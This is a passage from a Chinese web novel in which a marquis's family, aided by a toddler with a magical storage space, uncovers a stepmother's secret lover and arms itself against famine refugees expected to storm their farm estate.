“上面有人?!”下方那中年男人惊疑的声音猛地响起,伴随着椅子被快速推开、人体骤然起立的声响。
阿沅这动作快得电光石火,孟柒根本来不及阻止。眼见行迹败露,他反应奇快,立刻捏着嗓子,冲着下方传出瓦片落地的方位,惟妙惟肖地学了一声被惊扰的野猫叫:“喵——呜——!”
与此同时,他手上动作快如幻影,以惊人的速度将最后两块瓦片严丝合缝地盖好,紧接着长臂一伸,一把捞起还没完全反应过来的阿沅,将她再次夹在腋下,足尖在屋脊上一点,人已如一道轻烟般向后飞掠。
“喵!喵!”为了掩饰那略显仓促的破风声,孟柒一面在庄院的屋宇间急速穿行,一面又连续发出几声逼真的猫叫,那叫声在夜风中飘散,带着几分被惊扰后的不满与慵懒。
几乎就在他动身的同时,来自不同方向、早已潜伏在阴影中的几道黑影,也如同收到了无声的指令,以惊人的默契与速度,齐齐撤向围墙之外,瞬息间便没入了沉沉的夜色之中,只余下白水庄大宅内渐起的骚动与灯火。
第64章 白弟城这个人
“我理解没错的话,”孟大川的声音低沉而缓慢,仿佛每个字都是从牙缝里挤出来,带着山雨欲来的压抑,“那边住着的,竟是老宋氏的姘夫?非但孟二泉跟我没有半分血缘关系,老宋氏那贱妇,在嫁入侯府之前,竟还藏着个奸生子?!”
话音未落,他双手猛地拍向轮椅的木质扶手,发出“砰”的一声闷响。
极致的愤怒竟像是一剂猛药,激得他气血上涌,身体在盛怒之下猛地向前一挣,双腿竟下意识地用力,带动着上半身撑离了轮椅而不自知。
孟沅第一个发现这惊人的变化。她那双琉璃般澄澈的大眼睛瞬间瞪得滚圆,小嘴微微张开,原本因听闻秘辛而为爹爹和老侯爷愤懑不平的小脸,霎时被难以置信的狂喜所取代。
她立刻转向娘亲,伸出小手指着爹爹微微离开椅面的双腿,激动得话都说不连贯:“娘……娘亲!看!爹爹……!”完全把先前对白水庄那对父子、对侯府腌臜事的满腔不忿暂时压了下去。
柳氏自然也看见了,心猛地一跳,惊喜如同潮水般涌上心头,但旋即又被担忧淹没——她生怕丈夫久未用力的腿脚承受不住,慌忙上前一步,伸出手想要搀扶,却又怕惊扰了这奇迹般的一刻,手僵在半空,眼中泪光盈盈。
“爹爹,您……您能站起来了?!”孟怀瑾向来沉静的面容也裂开了缝隙,他失声惊呼站了起来,声音里充满了激动。
这一声呼唤,才让孟大川骤然意识到自己身体的变化。他低头看去,只见自己的双脚确实踏在了坚实的地面上。一股陌生的、带着刺痛与酸麻的力量正从双腿传来,他试着稳住身形,腿脚却因长久不曾着力而虚软不堪,不由得踉跄了一下。
所有人同时屏住了呼吸。
孟大川咬紧牙关,额头瞬间沁出细密的汗珠,手臂肌肉贲张,死死按住轮椅扶手作为支撑。他颤颤巍巍地,终究是站定了,并且努力坚持着站立了片刻,感受着血液重新流向双腿的温热与刺痛。
但他深知此时不宜逞强,尝试着想要迈步,那腿却像灌了铅般不听使唤。最终,他身体摇摆了几下,带着几分不甘,又万分谨慎地,缓缓坐回了轮椅中。
“爹爹好了,带窝骑马马!”孟沅拍起了小手掌,清脆的掌声在凝重的气氛中显得格外悦耳。她凑上前,小手轻轻抚上爹爹的膝盖,动作温柔得像是在触碰易碎的珍宝。
柳氏眼中的泪水终于滚落,她一边用帕子拭泪,一边小声宽慰,声音哽咽却充满希望:“夫君,您也别太心急,这已经是天大的好转了。以后……以后妾身每日都扶您走几步,咱们慢慢来,总会越来越好的。”
孟大川的脸上也露出了久违的、发自内心的喜悦之色,这喜悦冲淡了些许方才的震怒。他宽慰地看向泪眼婆娑的妻子和喜笑颜开的女儿,再转向一旁同样面露激动之色的孟怀瑾。
再看向孟柒时候,脸色迅速恢复了沉静,低声吩咐道:“此事,先不要往外传,一丝风声也不得走漏。”
孟柒立刻收敛神色,拱手应道:“是,大人。庄里的佃户们都知道您被大火烧坏了身子,不良于行。为稳妥起见,大人最好白日里仍不出房门,即便夜间在院中活动,也请务必坐着轮椅,用厚毯子仔细盖住下半身。”
他顿了顿,那句“再装成半死不活、缠绵病榻的样子以麻痹暗中窥伺之人”实在太过僭越,在喉头滚了几滚,终究没敢说出口。
上次清理内院,又处置了两个被陈婆子一家收买的下人,院内应该是清静了。可谁又能保证,没有更深的钉子潜藏在庄子里呢?
“爹爹,”孟沅忽然仰起小脸,黑葡萄似的眼珠转了转,想到一个被忽略的细节,“白弟城是谁?”她记得柒叔刚才汇报时,好像漏提了这个名字。
“白弟城?”孟大川眉头微蹙,目光转向孟柒。孟柒连忙点头确认:“回大人,小姐听得仔细。那老姘头,自称名为白弟城。”
“白弟城……”孟大川沉吟片刻,记忆的碎片被慢慢拼凑,“老宋氏的姨母,嫁的夫家倒是姓白。”
他眉头皱得更紧,对孟柒交代道:“等这场大雪化尽,道路通畅之后,你暗中查查,京城城北的商贾白家,是不是有个儿子叫白弟城。”
他一边回忆一边缓缓道来:“老宋氏因嫁与老侯爷做了续弦,鸡犬升天,不久便为她那不成器的父亲谋了个外放的肥差,虽还是七品,却去了江南富庶之地。但她还有个姨母嫁在京城,所嫁的正是个商贾,姓白。老侯爷还在世时,她那表哥似乎来过侯府几次……模样生得,倒有几分周正。”
再后来……肯定还有往来,只是因与孟大川并无直接亲缘关系,他那时结婚生子,后来又政务缠身,未曾过多留心,具体名姓自然也就没刻意记下。
“阿沅啊!”孟大川心中有了计较,面色愈发凝重,他将女儿轻轻捞到自己的膝盖上,又看向端坐在柳氏身后、一直沉默聆听未曾插言的孟怀瑾,声音沉肃,“你们三个,都是爹爹的命根子,是爹爹身上最柔软的软肋。如今外人皆已窥破此点,竟想着用你们的性命来掣肘爹爹、摧毁爹爹了。你们需得知道这其中利害,日后万事,定要加倍小心。”
说完,他伸出手指,轻轻点了点阿沅娇俏的小鼻尖,语气转为无奈与宠溺的告诫:“特别是你这小淘气,心思活络,胆大包天,别再老想着甩开护卫,偷偷往外跑了。”
“可要牢牢记住爹爹的话,别再任性妄为,枉费了爹爹千挑万选、安排来保护你们的护卫和暗卫的一片苦心。”
柳氏也看向女儿,眼中带着后怕与不悦,苦口婆心地劝道:“若真有个万一,没有了你们,让我和你爹爹……可怎么活得下去。”
“窝寄到(我知道)!阿沅最乖了。”阿沅被父母接连叮嘱,有些心虚地摸了摸自己脑袋上翘起的小揪揪,眼珠一转,反而使出了“恶人先告状”的招数,小手指向哥哥,“嘚嘚(哥哥)不乖,不听发(不听话),他和先生还乱跑呢!”
“噗呲!”孟柒第一个没忍住,喷笑出声,连日来的紧绷神色第一次被这童言稚语打破,露出了真切的笑容。
孟怀瑾也是猝不及防,冷峻的嘴角几不可察地轻轻弯了一下,他知道无需辩解,妹妹这是“祸水东引”,脸上很快又恢复了平日的严肃持重。
但孟柒这不厚道的一笑,立刻惹恼了正在“转移视线”的小阿沅。小家伙马上冲他举起白嫩嫩的小拳头,在空中虚挥了两下,小脸气鼓鼓的。
孟柒见状,十分配合地故作受了极大惊吓的模样,“哎呦”一声,夸张地往后连退了两步,才堪堪站定,眼里却满是笑意。
“白水庄这一家子,留在此处终究是个隐患,”笑闹过后,孟大川言归正传,眉宇间笼罩着思虑的阴云,“你们先去歇息吧。容我仔细想想,下一步该如何走,再做周全部署。但庄子的防护,必须即刻加强,昼夜巡查,不得有丝毫松懈。”
阿沅听到这话,忙不迭地转过身,把小拳头举得高高的,不是对着孟柒,而是冲着爹爹,黑白分明的大眼睛里闪过一丝与她年龄不符的冷光,脆生生地道:“那……就让他们屎(死)……”
“死,很容易。”孟大川轻轻握住女儿那攥紧却依旧柔软的小拳头,包裹在自己的大掌中,语气莫测,“但是……他们眼下,或许还有些用处。”
阿沅偏着小脑袋,仔细想了想,眼睛骨碌骨碌转得飞快,一副灵光乍现、猛然醒悟的小机灵鬼模样,再来一句:“让……他们去狗咬狗!”稚嫩的声音,却说出了最直接残酷的解决之道。
这话让一旁垂手而立的孟柒眼神骤然一亮,不由得多看了这小小的人儿几眼,心中竟生出几分意外的钦佩。再看向孟大川时,眼神里充满了期待,似乎对小姐这直指核心的说法很是赞同。
孟大川并未立刻看孟柒,而是继续转向女儿,目光深邃:“爹爹明白你的意思。但总得让他们‘走’得‘安心’,自觉没有了后患,而且前程似锦,了无牵挂,心甘情愿地冲着侯府的泼天富贵去才行。”
他顿了顿,手指在轮椅扶手上轻轻敲击,仿佛在推演棋局,“白弟城……”他虚虚摸了一把并不存在的长须,语气变得幽深而带着丝丝寒意,显然心中已有成算。
“他必须抱着与孟二泉‘福禄共享、平分秋色’的心思进府,这出戏,才唱得起来,才唱得热闹。”
第65章 气氛有点不对
灾民的冲击并没有因为雪停而消停,反而是越演越烈,如同冬夜里的寒风,一阵紧过一阵。
缺衣少食、没有房子住的灾民拖儿带女出来闹事成了常态,孟柒他们带回的消息一次比一次沉重:附近几个庄子陆续遭了抢,有的甚至被灾民住了进去。镇上粮铺被砸开,铺子都不敢开门,有钱都买不到东西。
孟柒说这些时,眉头总是拧得紧紧的,声音压得低低的,生怕吓着屋里的女眷,可那字句里的血腥气却掩不住——有人为半袋糙米动了刀子,有老弱倒在雪地里再没起来,乱象已生,人心如沸。
“怪可怜的,要不咱们在庄子门口施点粥吧?”这天孟柒汇报完后,柳氏绞着手中的帕子,忽然轻声开口。她望向窗外,院角的积雪还未化尽,而是结成了冰,在阴沉天色下泛着灰白的光。
想到家中粮仓还有余粮,橱里还有旧衣,她那颗柔软的心便像被针尖轻轻扎着,丝丝缕缕地疼。
往年在京城,每逢灾患,官家开仓,大户施粥,是何等有序的景象!妇人们还会领着丫鬟收拾出半新的棉袄、厚实的裤袜,一包包送到粥棚边上。
如今这冰天雪地里,官府粮车进不来,镇上富户也自身难保,她总想着,多少能尽点绵薄之力,让那些熬过雪灾的人再多撑几日也好。
“不可!”孟大川和孟柒同时出声,语气斩钉截铁,没有半分转圜余地。
他撑着床沿直起身,脸色是从未有过的凝重;孟柒则上前半步,急急补充:“夫人,万万使不得!镇子上的富户有开了头施粥的,粥分完了,人却不散,哭喊推搡着闯进门去。有一户家丁护院少,挡都挡不住。全家十几口,没一个活到天明。”
他说到最后,喉头哽了哽,眼底闪过一丝痛色。柳氏听得脸色发白,指尖冰凉,再不敢提半个字。
孟柒稳了稳气息,又道:“如今灾民大多涌到了镇子上,人多粮少,饿红了眼的,什么事都做得出来。
连理正老爷,前几日都悄悄带着家小躲到山边亲戚家去了——他都不敢留在镇上,咱们庄子若开了这个头……”他摇摇头,未尽之言如沉重的石头压在每个人心上。
孟大川接过话头,声音低沉却清晰:“我们在庄子施粥,就如同在饿虎群前抛出一块肉。那不是救灾,那是招祸。灾民若聚而不散,早晚会冲垮庄门。咱们庄子本来就不严实,即使冰雪帮做了一道防护,可经不起成百上千人日夜围困。这事,绝对做不得。”
他说话时,目光扫过屋内众人,最后落在柳氏惊惶的脸上,缓了缓语气:“夫人的善心为夫明白,但眼下,先得护住这一庄子的人。”
一直偎在爹爹身侧的阿沅,原本听见“施粥”二字,眼睛亮晶晶地抬起了头——她有点期待粥棚的热闹,热气腾腾的大锅,排成长龙的百姓,还有娘亲吩咐丫鬟派发馒头时温柔的笑脸。可听着爹爹和柒叔一句接一句的话,她小小的心渐渐沉了下去。
她把脑袋轻轻靠在了爹爹的手臂上,软软的脸蛋贴着爹爹微凉的衣袖,不再吭声。自己那个“粮仓”,倒是有不少稻谷……可是一万多斤粮食,听着多,真拿出来,够救济多少人?
会不会像柒叔说的,大家抢来抢去,反而打起来,死更多人?她悄悄打了个寒噤,把心里那点跃跃欲试的念头用力按了下去。
唉,还是先明哲保身吧。
接下来的日子,天气并未如人所愿地好转。阴云总聚不散,时而还飘下冷雨,道路上的雪根本都化不开,反而结成了冰。
庄子的大门始终紧闭,门闩加了又加铁锁,护院巡逻的脚步声日夜不息。孟大川的腿伤倒是好了许多,在柳氏的搀扶下,已能颤巍巍在屋里走上十来步,只是每走几步便要停下喘口气,额上渗出细汗。
转眼到了四月十六。这天一早,气氛便有些不同寻常。早饭用得比平日快,柳氏眼角眉梢带着一丝不易察觉的紧绷。阿沅像往常一样,饭后就想往爹爹床上爬,耍赖讨个抱抱,再听听故事。
可今天,她刚蹭到床沿,就被孟大川轻轻按住了小肩膀:“爹爹昨晚没睡好,脑仁儿疼。”
孟大川揉了揉额角,声音带着倦意,却异常温和,“阿沅乖,去自己房里跟红袖她们玩截龙牌,让爹爹静静歇会儿。”
柳氏也走过来,揽住女儿小小的身子,软声哄道:“对,你们就待在屋里,哪也别去。待会儿娘亲让人送烤红薯进去,刚出炉的,又香又甜。”她说着,顺手将阿沅额前一缕翘起的头发捋顺,指尖却有些凉。
阿沅仰起脸,看看爹爹,又看看娘亲。爹爹虽然笑着,但嘴角的弧度有点紧;娘亲眼神游移,总往门外瞥。
她心里那根小小的“警觉天线”悄悄竖了起来——肯定有事!她没吵没闹,乖乖点头,牵住红袖伸过来的手,一步三回头地走了。
回到自己屋里,关上门,阿沅就坐不住了。红袖分好了牌,她却心不在焉,眼睛总往门缝那儿瞟。
莲子最是机灵,立刻自告奋勇当了“小探子”,把眼睛贴在门缝上,小声直播起来:
“柒叔又往大爷屋里跑了一次,脚步匆匆的……又出去了……大少爷和杨先生也进去了,出来脸色都好吓人。”
过了一小会儿,她又压着嗓子报告:“守门的刘婆子被喊走了,往后院厨房方向去了……呀,现在守门的是前院的赵护卫,还拿了把好大的铜锁,把门从里头锁上了!”
阿沅心里咯噔一下。锁门?把婆子都支走?这架势,怕是真的要出事了!她扯了扯莲子的袖子,小声道:“泥去康康(你去看看)厨房,四不四(是不是)在做好柒(吃)的?”
一听说吃的,莲子眼睛倏地亮了,忍不住咽了咽口水:“又做好吃的?会不会做粘豆包?我奶做的粘豆包可好吃了,红豆馅儿甜丝丝的。要是有,我拿一大碗过来!”话音未落,人已经像只灵活的小松鼠,拉开门缝哧溜钻了出去。
第66章 坏人要冲进来了?
没过多久,莲子回来了,小脸上没了刚才的兴奋,倒有点垂头丧气。她怀里确实捧了个大陶碗,里面垒着五六个白胖胖的大馒头,还冒着微微热气。“唉,还不如上两次呢。”
她嘟着嘴把碗放下,“上回好歹有肉包子和白菜猪肉饺子。这回可好,厨房里好几个灶一起开火,全在蒸馒头!都蒸了十几屉了,堆得跟小山似的,厨娘们还在拼命揉面、上笼,看着就累得慌。”她拿起一个馒头,咬了一口,含糊不清地嘀咕:“路都快通了,难不成以后天天还吃大馒头呀?腻死了。”
五六岁的孩子,吃了几个月的好饭好菜,几乎忘了从前饥一顿饱一顿的日子,语气里竟带上了点小嫌弃。
“所有人都在厨房?”阿沅心里那点猜测越来越清晰。
“可不是嘛!”莲子把嘴里的馒头咽下去,“连服侍夫人的青衣、紫衣、秀姑、翠姑,四位姑姑都去了,挽着袖子在揉面呢!满厨房都是人,热气熏得人睁不开眼。”
紧接着,她像是想起了什么,皱起小眉头喃喃自语:“不过这回蒸好的馒头,没像以前那样抬到外头埋雪里存着。都用大箩筐装着,一筐一筐往各屋里抬。我方才回去放东西,看见我奶和我娘那屋,炕上、地上,连下脚的地方都快没了,全是馒头筐!”莲子有点闷闷不乐。
阿沅眼珠转了转,对绿果和红豆说:“泥们两个,也去厨房帮忙。放心,窝们就在屋里,哪都不去。”她本想让两人架着溜出去看看,是不是灾民已经到庄子外头了,但转念一想,若真到了那地步,外头早该有动静了。
现在最要紧的是别添乱。可心里那股好奇和担忧,像小猫爪子似的轻轻挠着,痒得难受。
“泥们先吃,窝去看烤红薯。”她对红袖几个说完,就踮着脚溜出了房门。红袖正专注于手里的大馒头——刚出锅的确实更筋道,比回蒸的香多了,看到小姐跟绿果和红豆出去的,一时也没跟出去。
阿沅一路小跑到正院,果然见院门关得紧紧的。她伸出小手,“咚咚咚”地拍起门板,声音又急又脆。
“谁呀?这么急!”里面传来柳氏的声音,带着几分不耐和紧张。
“娘亲,是窝(我)!”阿沅知道,这时候若不赶紧应声,肯定进不去。
“阿沅乖,听娘的话,好好在自己屋里呆着。”柳氏的声音软了些,但还是赶人的意思。
阿沅眨眨眼,把小手拢在嘴边,压低声音,神秘兮兮地对着门缝说:“娘亲,神仙姑姑……”
这招果然管用!里头静了一瞬,随即门“吱呀”一声开了条缝。柳氏一把将她拽进去,又迅速关上门,还轻轻捂住她的嘴,在她耳边急道:“我的小祖宗,别乱嚷嚷!等他们走了,再慢慢跟爹爹说。”说着,还紧张地望了望里屋方向。
阿沅得了准许,像只终于被放出笼子的小鹿,轻手轻脚却速度飞快地往里屋窜。
一进屋,也顾不上看坐在爹爹床前的那几个高大背影,嘴里喊着“爹爹”,噔噔噔就冲到床边,手脚并用,利索地往上爬——如今她爬床的功夫可是练得炉火纯青,再不用人抱了。
“你怎么把她放进来了?”孟大川看见女儿,先是一愣,随即看向跟进来的柳氏,语气里带着不赞同的责怪。
柳氏看着床前那几个人的背影,冲夫君飞快地使了个眼色,手指先悄悄指了指屋顶,又轻轻点了点正努力往爹爹怀里拱的阿沅。
孟大川瞬间明白了妻子的暗示——怕是“神仙姑姑”又给女儿提点过什么。他神色微缓,轻咳一声,对床前等候的四人沉声道:“好了,就按刚才议定的,尽快安排下去吧。庄子里所有男丁,十三岁以上的半大小子,都动起来,该准备的家伙、该守的位置,一样不能漏。各家各户领回去的白面、粗面,务必蒸足干粮。
传我的话:若是分下去的面做不完,或偷工减料,往后嘉禾庄的地,也没必要佃给他们种了。”
他的声音不高,却自有一股不容置疑的威严。床前四人齐齐拱手,低声应道:“是!属下(小人)遵命,定将大人吩咐安排妥当!”
四人中,阿沅只认得柒叔和那个常带着护卫操练的领队叔叔,另外两个面孔有些生,但看举止气度,也不像是普通庄户。阿沅窝在爹爹怀里,偷偷打量他们,心里的小算盘拨得啪啪响:爹爹手下,果然不止柒叔他们那么点呢!
四人鱼贯退出,屋内一时安静下来。女儿软软的小身子靠在自己胸前,带着奶香的热气呼在颈边,孟大川觉得心头那根紧绷的弦稍稍松了些。
他低头,看着女儿亮晶晶、清凌凌望着自己的眼睛,那里面没有害怕,只有全然的信赖和一点藏不住的小小得意。他忍不住伸手捏了捏她的小鼻头,温声问:“我们阿沅是不是猜到要发生什么事了?”
“坏人要冲进来了?”阿沅晃晃脑袋,两只小拳头攥得紧紧的,在胸前比划了一下,做出凶巴巴的表情,“把他们打出去!爹爹和嘚嘚(哥哥)最厉害了!”
孟大川也没打算瞒她,也知道瞒不住,所以点了点头:“昨晚下午开始,庄子外就有灾民三三两两进行打探,今早又来了好几拨,今晚可能要出事。”
“你这孩子……”柳氏在床沿坐下,又是心急又是好奇,忙不迭地问,“神仙姑姑是不是又给你支了什么招?好阿沅,快跟爹爹娘亲说说。”她看着腻在夫君怀里、一脸古灵精怪的女儿,方才的紧张慌乱莫名消散了不少。
她双手不自觉地合十,微闭了闭眼,心中默念:姑姑保佑!神仙保佑!若此番能平安度过,信女定为您重塑金身,日日焚香,诚心供奉!
阿沅看着爹娘期待的眼神,歪了歪小脑袋,眼睛弯成了月牙,故意卖了个关子:“爹爹和嘚嘚……要武器么?”她特意把“武器”两个字咬得轻轻的,带着神秘兮兮的味道。
“神仙姑姑给的?”孟大川几乎是脱口而出,心中升起希望。
阿沅摇摇头,又点点头,从爹爹怀里挣出来,挪到床沿边坐下。她先是看了看门口,确定无人,然后伸出短短的小胳膊,小手在床沿外的虚空里试探着一抓——仿佛那里挂着什么看不见的宝贝。
她转过头,冲爹爹甜甜一笑,小声道:“爹爹的,祖父的。”那模样,活像只偷到了香油的小老鼠,又得意又谨慎。
第67章 割掉……做公公
“叮叮当当,”一阵金属的声音乱响,从阿沅的手心落到了地板上。像变戏法似的,倒出了一堆长短不一、寒光闪闪的家伙什儿。
大刀厚重,剑锋雪亮,匕首精巧,一件压着一件,叮叮当当地滚落开来,撞在床沿又跌到地上,声音清脆杂乱,好不热闹。
最后稀里哗啦掉出来的,是几把有些年份的沉重大弓和几束用皮绳捆好的箭羽,箭镞闪着冷硬的乌光。
东西不算多,拢共也就几十件,可这么铺散在脚踏前、砖地上,竟也显得满当当的,透着一股子沉甸甸的、令人安心的锐气。
“阿沅怎么还想到收拾这些东西?”孟大川和柳氏看得都怔住了,脸上齐齐现出惊异之色。他们原以为女儿当初匆匆忙忙回侯府,只来得及收拾柳氏的嫁妆细软和些值钱的物事,哪里能料到,这小小的人儿,竟有这样的远虑,连这些“打打杀杀”的物事都惦记上了。
“祖父的,爹爹的,嘚嘚的。”阿沅见爹娘惊讶,立刻摇晃起小脑袋,两个小揪揪跟着甩动,脸上是藏不住的洋洋得意。她糯声糯气地,用最简短的词句宣布所有权,那意思再明白不过:反正就是我们家的!
她说完,还伸出小手指,点点地上的大刀,又虚虚指向爹爹,一副“我厉害吧?快夸我”的小模样。
孟大川夫妇俩对视一眼,半晌没吭声。这沉默却让阿沅误会了,她眨巴着大眼睛,看看爹,又看看娘,以为他们嫌少呢。小家伙没办法似的摊开两只小手,肩膀还微微耸了一下,小嘴也撇了撇:我也想把整个武库都搬来呀,可是原来家里那几间库房,找来找去,也就这么些了嘛。
“够了够了!”看小家伙那萌萌的样子,似乎还有点小失望,孟大川心里一软,连忙伸臂将她小小的身子揽进怀里,用带着胡茬的下巴蹭了蹭她的额头,“哥哥可以用大刀和长剑,别看爹爹——”他自嘲地拍了拍自己那条不太利索的腿,“现在这副身子骨不顶大用,但坐在轮椅上的、倚在墙根下,张弓放几箭总还是可以的。”
“云娘,你虽然不出门,身上带把匕首,防身也是好的。”孟大川说出这话的同时,柳氏其实也正有此意。她已经弯腰从地上捡起一把看起来最趁手、刀鞘线条流畅的匕首,在手里掂了掂分量,又往自己的靴筒边比划,试着怎么安放才更稳当、更隐秘。
动作间竟不见多少闺阁女子的柔弱,反倒透着一股利落劲儿。
“爹爹,这把给莲子,这个……红袖。”孟大川还在琢磨是不是也该给阿沅寻一把最小的匕首防身,小家伙却已经挣脱他的怀抱,又趴回锦被上,开始摆弄她新取出来的“宝贝”——一把匕首,一把短刀,都配着镶有简单纹路的皮鞘,尺寸明显适合孩童的小手。
“给她们!”她明确地分配着。
“这个……是……爹爹……做给窝的吗?”最后,她左右开弓,一手举起一张制作极为精巧的小弓弩,弩身线条圆润,甚至雕着可爱的云纹;另一只手提起一个同样迷你、只装着四五支短箭的小箭筒。她举高了,亮晶晶的眼睛望着孟大川,满是期待。
“这个?”孟大川接过来细看,确实吃了一惊。他印象里自己从未做过这样的小玩意儿。儿子孟怀瑾小时候就显露出对书本的痴迷,对这些舞刀弄枪的东西向来兴趣缺缺,为此他当年还暗暗遗憾过。
他摩挲着光滑的弩身,带着疑惑又十分肯定地说:“定是祖父留给阿沅的。”想来是老爷子肯定认为以后还有个小子或者孙女,所以早早就备下了。
阿沅试着把弓弩往自己手腕上套,那皮质腕带对她的小手来说还是稍大了些,套了半天没套牢,她鼻尖微微皱起,似乎有点不高兴了。干脆放下弩,抓起那把她分配给自己、套着皮鞘的匕首。
“哈!”地一声在空气中胡乱挥舞了几下,小脸做出凶狠的表情,然后语出惊人:“欺负祖父……割掉……做公公!”那稚嫩的嗓音配上这般“狠辣”的宣言,反差实在令人愕然。
这话让夫妻俩一时哑然,哭笑不得,不知该如何应答。教导她女孩子家说话要文雅?此刻这境况下似乎又有些不合适。正犹豫间,刚好踱步进来的孟怀瑾在门边顿住了脚步,妹妹的话一字不落地听进耳中,心中似有热流触动,脸上却没什么表情。
他走进来,声音平稳地接过话头:“爹爹,若是庄子里男丁和武器确实不够,妇孺也可出力。用积雪捏实成球,看准了投掷出去,借着下落之势,威力未必就比挥舞锄头柴刀小。”
阿沅一听,立刻来了精神,模仿着鼓风吹火的架势,鼓起腮帮子“呼”地一吹,然后眼睛亮得像是落进了星星,急急补充道:“用冰块砸屎他!”说完,就那样亮晶晶地、充满期待地看向爹爹,仿佛在等待夸奖这个绝妙的主意。
“那倒也是,”孟大川也点点头,顺着这思路想下去,“有冰墙雪墙阻隔的三面,外面的人攀爬时本就艰难,滑下来必定心神不宁,趁他们脚底不稳、惊慌失措的时候,劈头盖脸砸下雪球冰块,确实能打他个措手不及。”
他感叹地看了看儿子,觉得这个喜欢读书的儿子,关键时刻并非不通实务。再看看女儿,更是个出其不意的小机灵,这份天不怕地不怕的劲儿,倒真有点像自己年轻的时候。
大人们的肯定让阿沅更加兴奋,她已经蹭到床边站了起来,一只小脚踩在脚踏上,继续挥舞她的小匕首,嘴里大声叫嚣着:“打脸……打脸!”仿佛已经看到了敌人被雪球砸中面门的狼狈模样。
“对,专打脸,”孟怀瑾走过去,轻轻拿过她手里乱挥的匕首放到一旁,免得她伤着自己,然后拿起那小弓弩,仔细地往她厚实棉衣的袖口上调试、套牢。
说到这种刀尖见血的事,他语气平静,非但自己毫无惧色,竟也没有刻意避开年幼的妹妹,而是像在讲授一项寻常技艺,“打得他们眼冒金星,看不清东西,我们才有机会近身,再一击制胜。”
看她听得认真,非但没有露出惊恐之色,小脸上反而满是专注,他又加了一句,声音压低了些,却更清晰:“待会儿我们到院子里去试一试。这手弩射程虽然不远,但发动快,无声无息,用得巧了,照样可以一箭封喉。”
“嗯嗯嗯!窝……一箭一个!”阿沅的头立刻点得像小鸡啄米,兴奋得小脸通红,也顾不上那还不太合手的腕带了,双手一伸就紧紧搂住了哥哥的脖颈,整个人几乎要挂上去。
“阿沅还小呢!先练练架势就成,可不许真往人身上招呼!”孟大川和柳氏见状,连忙出声制止,生怕这两兄妹一时兴起,真做出什么危险举动。
柳氏更是抬手在孟怀瑾肩膀上不轻不重地拍了一记,又拉了他一把,语气严肃:“你们俩身边自有护卫周全体贴,紧要关头,你们最要紧的是护好自己,旁的事情,自有大人们担当,什么都不用你们冒险去做。”
“保护爹爹!保护娘亲!”
阿沅却不管这些,右手奋力举起那已经套在腕上的小弓弩,高高地转移向幔帐。
幸亏箭筒还没挂上,短箭也未填入弩槽,不然那锦绣帐幔恐怕真要被她当成假想敌,射出几个透亮的窟窿来。她喊得斩钉截铁,仿佛自己已然是个能挽弓射敌的小小卫士了。
第68章 我有好主意
再回屋,阿沅神秘兮兮地把莲子和红袖拉到里间,从摸出那两把精致的小匕首,一人塞了一把。“给!防身,要带着哦!”
她压低了声音,小脸上一副“这可是重要东西”的表情,却并没有解释更多缘由,只眨巴着大眼睛,用“你们懂的”眼神看着她们。
“我回去给我娘和阿奶看,这是我的第一件宝贝!”莲子接过匕首,爱不释手地摩挲着刀鞘上的纹路,兴奋得脸蛋红扑扑的。她甚至等不及留下来用午饭,把那小巧的匕首小心地揣进怀里,就一蹦一跳地跑出去了。
不吃午饭的原因也很实在——整个院子飘散的都是蒸大馒头的朴素香气,小姑娘心里门儿清,中午肯定没什么油水好吃的。
倒是年岁稍大、心思也更细密的红袖,把玩着手里沉甸甸的匕首,看着小姐郑重的神情,再看看外头有点紧张的气氛,心里早已猜到了七八分,脸上不由得浮起担忧的阴云。
但她立刻挺直了小小的脊背,信誓旦旦地对阿沅说,语气急切,生怕小主人会害怕:“小姐别怕!有奴婢们在呢!就算……就算真有什么不好的事,伤得了奴婢,也绝没人能伤害得了小姐!”她说着,还笨拙而用力地比划了一个护卫的姿势,眼神里满是赤诚的护主之意。
“红袖,”阿沅托着腮,小眉头也皱了起来,像个真正忧心忡忡的小大人,“除了打打杀杀,就没有其他办法了么?”
她其实很担心,小脑袋里模模糊糊地想着,要是那些灾民被人鼓动起来,只要让坏人占到一点点便宜,他们就会觉得嘉禾庄好欺负,全都聚拢过来,那可怎么办呀。
“奴婢……奴婢不知道。”红袖本就不聪明,一下被问住了,眉头皱得更紧,只是下意识地更紧地握住了匕首柄,仿佛那是唯一的依仗,坚持重复着那句最朴素的话:“反正,奴婢跟绿果、红豆她们一起,拼死也会保护好小姐!”
掰着刚出锅、还冒着腾腾热气的白面大馒头,一小块一小块地往嘴巴里送,阿沅和红袖头碰着头,掰扯着想了老半天,小脑袋瓜里转来转去,也想不出什么更好的法子。
最后,两个小人儿对视一眼,不约而同地、带着点无奈的狠劲儿,总结成最简单的一个字:“打!”仿佛这样就能把烦恼都打跑。
不知不觉,一个比阿沅小手还大的馒头,被她就着甜汤,一点点装进了小小的肚子里,撑得小肚子圆滚滚的。她满足地(也有点撑得慌地)呼了口气,然后很有气势地小手一挥,对红袖吩咐道:“泥去睡觉!养足精神,今晚可能要‘打仗’!”那口气,活像个即将出征的小将军。
她自己却很快溜进了空间。先在实验室里转了一圈,摸摸这个烧杯,看看那个仪器,没有找到比弓弩更小巧趁手的新奇武器。又蹬蹬蹬跑去休息室,扒拉着储藏柜,清点里面剩余的迷药、毒药够不够用,小脑袋里各种念头纷乱,还是想不出万全之策。
最后,脑力耗尽的她,干脆瘫在休息室那张柔软的小床上,眼皮越来越沉,不一会儿又睡熟了。
又做梦了。
梦里不再是具体的景象,而是奔流不息、涛声震耳的河水,湍急得吓人,后浪凶猛推着前浪,朝着一个方向滚滚而去,势不可挡。
那水势,既不像她印象中浩荡的长江,也不像浑浊的黄河,只是一片无边无际、充满力量的水世界。更奇的是,耳边竟清晰响起杨洪基老师那浑厚磅礴的歌声,正是《三国演义》那首主题曲,歌声与梦中奔腾的河水奇异地应和着,气势恢宏:“滚滚长江东逝水,浪花淘尽英雄……”
直到出了空间,躺回自己那张铺着厚棉褥的小床上,阿沅还觉得那雄浑的旋律和歌词在耳边嗡嗡作响,来回盘旋。可怪的是,来来去去似乎总是前面那一两句,后面的怎么也想不起来了。
“什么意思啊?”阿沅皱起了小小的眉头,在黑暗里眨巴着眼睛,不得其解。但她心里有种模糊的感觉,这一定是“空间大大”给她的某种提示,就像以前给过她的一样。
“长江……东逝水,浪花……英雄。”她翻了个身,把脸埋进枕头里,小声嘀咕着,“不明白,真的不明白。”
